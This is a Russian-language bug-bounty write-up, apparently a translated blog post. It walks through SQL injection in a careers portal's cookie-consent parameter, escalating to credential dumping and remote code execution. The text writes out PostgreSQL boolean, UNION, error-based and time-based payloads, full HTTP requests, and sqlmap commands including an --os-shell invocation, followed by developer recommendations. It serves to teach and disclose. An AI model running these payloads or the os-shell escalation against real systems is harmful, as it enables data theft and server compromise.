Search
Write a publication
Pull to refresh

От согласия на использование Cookie, до выполнения команд: реальный вектор от SQLi + утечки персональных данных до RCE

Reading time8 min
Views836
Original author: nav1n

Привет, я nav1n0x — администратор баз данных по профессии, исследователь безопасности, а также баг-хантер по призванию, с фокусом на уязвимости, которые часто остаются незамеченными. Мне нравится исследовать логику приложений, забытые параметры и превращать свои предположения в критические находки (как эта SQL-инъекция, скрытая в баннере с согласием на использование файлов cookie). Моя цель — делиться практическими техническими статьями, которые помогают исследователям и разработчикам понять, откуда берутся эти уязвимости — и, что более важно, как их предотвратить.

В мире bug bounty нас часто обучают искать очевидные уязвимости: страницы входа, строки поиска, панели администратора. Но время от времени баги появляются там, где их меньше всего ожидаешь — например, в баннере с согласием на использование файлов cookie.

Примечание: Я намеренно изменил или замазал большинство реальных названий параметров, значений и путей к конечным точкам, чтобы предотвратить идентификацию реальной цели. Структура и логика запросов остаются технически точными (для образовательных целей).

В этой статье я расскажу, как я обнаружил уязвимость SQL Injection в параметре согласия на использование файлов cookie на карьерном портале крупной автомобильной компании (не BMW!). То, что казалось особенностью пользовательского интерфейса, обернулось в следующее:

✅ Полный доступ к базе данных  

✅ Извлечение учетных данных администратора  

✅ Получение доступа к панели администратора (с использованием расшифрованных паролей)  

✅ Удаленное выполнение кода (RCE)

Разберемся более детально

Цель была частью приватной bug bounty программы, размещенной на крупной платформе. В скоуп входило множество веб- и мобильных приложений. Одно из них содержало ссылку для подачи заявок на работу, перенаправляющую пользователей на специализированный карьерный портал. Этот портал позволял кандидатам отправлять резюме и управлять своим профилем. Как и ожидалось в соответствии с требованиями GDPR, сайт просил согласия на использование файлов cookie, позволяя пользователям настраивать свои предпочтения относительно конфиденциальности. То, что казалось стандартным компонентом интерфейса, оказалось входной точкой к гораздо более глубокой уязвимости. Баннер содержал привычные элементы (обратите внимание, я изменил текст реального баннера, чтобы избежать идентификации цели):

✅ "Принять все"  

🚫 "Отклонить"  

⚙️ Настройки (меню для хранения пользовательских предпочтений)

Большинство разработчиков упускает из виду момент, когда пользователь нажимает на кнопку и провацирует запрос на сервер. В данном случае параметр cookieconsent передавался через POST-запрос. Я обнаружил, что он поддается инъекции.

Проведя рутинную разведку с помощью Burp Suite и зафиксировав все взаимодействия, чтобы выявить интересные и доступные параметры, я изучил каждый запрос. В какой-то момент — не задумываясь — я кликал по баннеру cookie ("Принять все", "Отклонить" или даже "Настройки"). Это было частью обычного процесса, но благодаря логированию трафика в Burp, это безобидное взаимодействие, обернулось обнаружением серьезной проблемы, скрывающейся на поверхности.

Почему эта SQL-инъекция была уникальной — и редко тестировалась

Когда речь идет о SQL-инъекциях, большинству людей сразу приходят в голову привычные места: формы входа, поля поиска, фильтры и AJAX-запросы. 

Но эта... Она пряталась на виду — внутри баннера согласия на использование cookie, активируемого простым взаимодействием с интерфейсом, такими как "Принять все" или "Отклонить". Вот что делало ее редкой. Это не было полем ввода или проблемой в форме входа. Это была настройка конфиденциальности, управляемая фронтендом, которая передавалась незаметно, как параметр, когда пользователь нажимал кнопку — параметр вроде cookieConsent=1 или cookieConsent=0.

Разработчики часто предполагают, что если ввод идет от нажатия кнопки, это безопасно.

Но вот горькая правда:

Нападающие не нажимают кнопки. Мы подделываем запросы.

Это ошибочное предположение — что параметры, управляемые фронтендом, безопасны и недоступны для вмешательства — было причиной существования этой уязвимости.

Этот баг подчеркивает важный урок: любой параметр, доступный клиенту, вполне может быть использован, независимо от того, насколько "безобидным" он кажется.

Уязвимый запрос:

POST /careers?cookieConsent=1 HTTP/1.1

Host: [careers.redacted-domain]

Content-Type: application/x-www-form-urlencoded

Accept: application/json, text/javascript, /; q=0.01

X-Requested-With: XMLHttpRequest

Cookie: PHPSESSID=

Content-Length: 254

Accept-Encoding: gzip, deflate, br

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36

Connection: Keep-Alive

InputAddress=123testadd&UniqueID=xxxxx&InputCity=Tokyo&InputEmail=testing@example.com&

InputName=UserTEST&InputNote=test&InputPhone=123456000&InputSName=UserTEST&

InputTitle=Mr.&InputZip=123000&jobID=866&Agree=agree1

Как обычно, я начал тестировать каждый параметр, захваченный во время анализа трафика в Burp Suite. Один из запросов выделялся, и я изменил его на:

POST /careers?cookieConsent=1'+AND+1=2--

Это привело к тому, что сервер ответил ошибкой 500 Internal Server Error — явным признаком того, что параметр небезопасно внедрялся в SQL-запрос. Сервер не только обрабатывал ввод, но и отражал ошибку, подтверждая наличие SQL-инъекции или чего-то подобного.

Корень проблемы: Прямая SQL-инъекция в настройках cookie

Логика на серверной стороне, вероятно, выглядела примерно так:

SELECT * FROM cookie_preferences WHERE consent_status = '$cookieConsent'

И поскольку не было:

  • Никакой валидации входных данных

  • Никакой санитизации

  • Никаких подготовленных запросов и так далее...

Из-за этой глупой ошибки разработчика я смог внедрить произвольные SQL-команды. 

Настройка конфиденциальности стала уязвимостью.

Ручное тестирование и фаззинг: От интуиции к подтвержденной SQL-инъекции

После того как я увидел ошибку 500 Internal Server Error, я решил подробнее изучить запрос с параметром cookieConsent. Как и во всех потенциальных местах инъекции, я следовал структурированному подходу — начиная с ручного ввода и постепенно переходя к классическим паттернам SQL-инъекций, которые оказывались успешными в предыдущих тестах.

Шаг 1: Проверка булевой логики

Сначала я провел простой тест на основе булевой логики, чтобы определить, обрабатывает ли сервер SQL-логику напрямую из параметра:  

✅ cookieConsent=1'+AND+1=1- - → Страница загрузилась нормально.  

❌ cookieConsent=1'+AND+1=2- - → Страница сломалась и вернула ошибку 500 Internal Server Error.  

Этот классический тест переключателя — один из моих основных методов для быстрой проверки булевой SQL-инъекции, особенно когда нет разницы в выводе, но поведение сервера меняется. Поведение при ложных условиях подтвердило одно: ввод обрабатывался небезопасно.

Шаг 2: Подтверждение ошибки синтаксиса

Чтобы убедиться, что это не просто плохая валидация ввода или сломанная логика, я внедрил неправильно составленную SQL-строку, чтобы намеренно вызвать ошибку синтаксиса на уровне базы данных:  

cookieConsent=1'  

Сервер ответил другой ошибкой 500 Internal Server Error с подозрительной задержкой, что указывает на необработанное SQL-исключение, а не на обычный сбой валидации.  

Это дало мне две важные вещи: 1) Параметр не очищается. 2) Движок выполнения запросов выводит ошибки с сервера.

Шаг 3: Раскрытие версии через объединение инъекций

Далее я перешел к UNION-based нагрузкам — что-то вроде этого:  

cookieConsent=1'+UNION+SELECT+NULL,version()--  

Это один из моих любимых методов для быстрой проверки. Если это срабатывает, обычно отображается версия базы данных. Это сработало... Страница вернула:  

PostgreSQL 13.10 (Ubuntu)  

Ответ отразил версию PostgreSQL, работающей на Ubuntu. Это была не просто инъекция — она напрямую отражала данные с сервера. На этом этапе уязвимость была полностью подтверждена.

Шаг 4: Определение контекста выполнения

Я ввел следующее, чтобы определить количество столбцов:  

cookieConsent=1'+ORDER+BY+1--  

Это не сработало, в то время как:  

cookieConsent=1'+ORDER+BY+2--  

Успешно... Это означало, что изначально запрос, вероятно, выбирал 2 столбца, и теперь я мог соответствующим образом выровнять UNION SELECT. Так что я попробовал:  

cookieConsent=1'+UNION+SELECT+NULL,version()--  

Ответ отразил версию PostgreSQL.

На данном этапе я смог:

- Подтвердить UNION-based SQL-инъекцию

- Выровнять количество столбцов

- Проверить синтаксис, специфичный для PostgreSQL

- Доказать, что вывод запроса отражается в ответе  

Я также протестировал задержку выполнения, используя time-based blind SQLi.

cookieConsent=agree1;SELECT+PG_SLEEP(10)--2-5)

POST /careers?cookieConsent=1 HTTP/1.1

Host: [careers.redacted-domain]

Content-Type: application/x-www-form-urlencoded

Accept: application/json, text/javascript, /; q=0.01

X-Requested-With: XMLHttpRequest

Cookie: PHPSESSID=

Content-Length: 254

Accept-Encoding: gzip, deflate, br

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36

Connection: Keep-Alive

InputAddress=123testadd&UniqueID=xxxxx&InputCity=Tokyo&InputEmail=testing@example.com&

InputName=UserTEST&InputNote=test&InputPhone=123456000&InputSName=UserTEST&

InputTitle=Mr.&InputZip=123000&jobID=866&cookieConsent=agree1;SELECT+PG_SLEEP(10)--2-5)

Ответ задержался примерно на 11 секунд. Это подтвердило, что временная SQL-инъекция была возможна, это стало моим запасным вариантом.

Наблюдения

Параметр cookieConsent содержит time-based SQLi полезную нагрузку для PostgreSQL:

;SELECT+PG_SLEEP(10) - 2–5)

  • Ответ (HTTP/1.1 200 OK) указывает на то, что сервер принял полезную нагрузку, и поскольку ответ задержался, это очевидный намек на успешную blind time-based SQL-инъекцию.

  • Заголовки, такие как X-Powered-By: PHP/5.6.40 и X-Powered-By: ASP.NET,reveал смешанный стек бэкенда — возможный индикатор неправильной конфигурации или устаревших компонентов технологий.

Шаг 5: Определение и перечисление

Я перешел к перечислению баз данных с помощью:

cookieConsent=1'+UNION+SELECT+NULL,currentdatabase()--

И:

cookieConsent=1'+UNION+SELECT+NULL,currentuser--

Что вернуло:

  • Имя базы данных (например, xxxportal)

  • Пользователь базы данных (например, xxxuser)

Затем я попытался получить информацию через ошибки, используя конкатенацию строк:

cookieConsent=1'+AND+1=(SELECT+CAST(('abc'||(SELECT+tablename+FROM+informationschema.tables+LIMIT+1))+AS+TEXT))--

Это вызвало ошибку с утечкой имени таблицы — что подтвердило возможность error-based SQLi.

Автоматизация SQLMap

Хоть у меня и есть СУБД, имя хоста и текущий пользователь в результате ручного подхода, я решил продолжить с SQLMap:

sqlmap -r request.txt -p cookieConsent --level 5 --risk 3 --random-agent --time-sec=10 --threads=2 --dbms=PostgreSQL

Всего за несколько минут SQLMap смог найти точку инъекции и показал мне все 3 типа уязвимостей.

Я сумел получить хэши паролей всего персонала и администраторов:

Раскрытие личной информации

В приложении была база данных, содержащая данные соискателей, их контактные данные, электронную почту, имя пользователя, захешированные пароли и т.д.

Вход в Админ Панель

Учетные данные могли подойти к административной панели, но я решил не расшифровывать пароль, так как знал, что это займет много времени.

RCE с помощью SQLMAP

Единственное, что я еще хотел протестировать, это RCE, поэтому я запустил свой SQLMAP, используя следующую команду:

sqlmap -r request.txt -p cookieConsent --level 5 --risk 3 --random-agent --time-sec=10 --threads=2 --dbms=PostgreSQL --os-shell

И вот оно:

Рекомендации для разработчиков

- Используйте параметризованные запросы, а не динамические SQL-строки

- Проверяйте даже "контролируемые" входные данные на фронтенде, такие как настройки cookie

- Никогда не доверяйте GET параметрам, активированным через пользовательский интерфейс

- Сканируйте и очищайте загружаемые файлы как на уровне расширения, так и на уровне содержимого

Это была одна из самых неожиданных критических ошибок, которые я находил. Баннер согласия на использование файлов cookie — инструмент, предназначенный для улучшения конфиденциальности — оказался точкой компрометации базы данных и всего сервера.

Еще больше познавательного контента в Telegram-канале — Life-Hack - Хакер

Tags:
Hubs:
+2
Comments2

Articles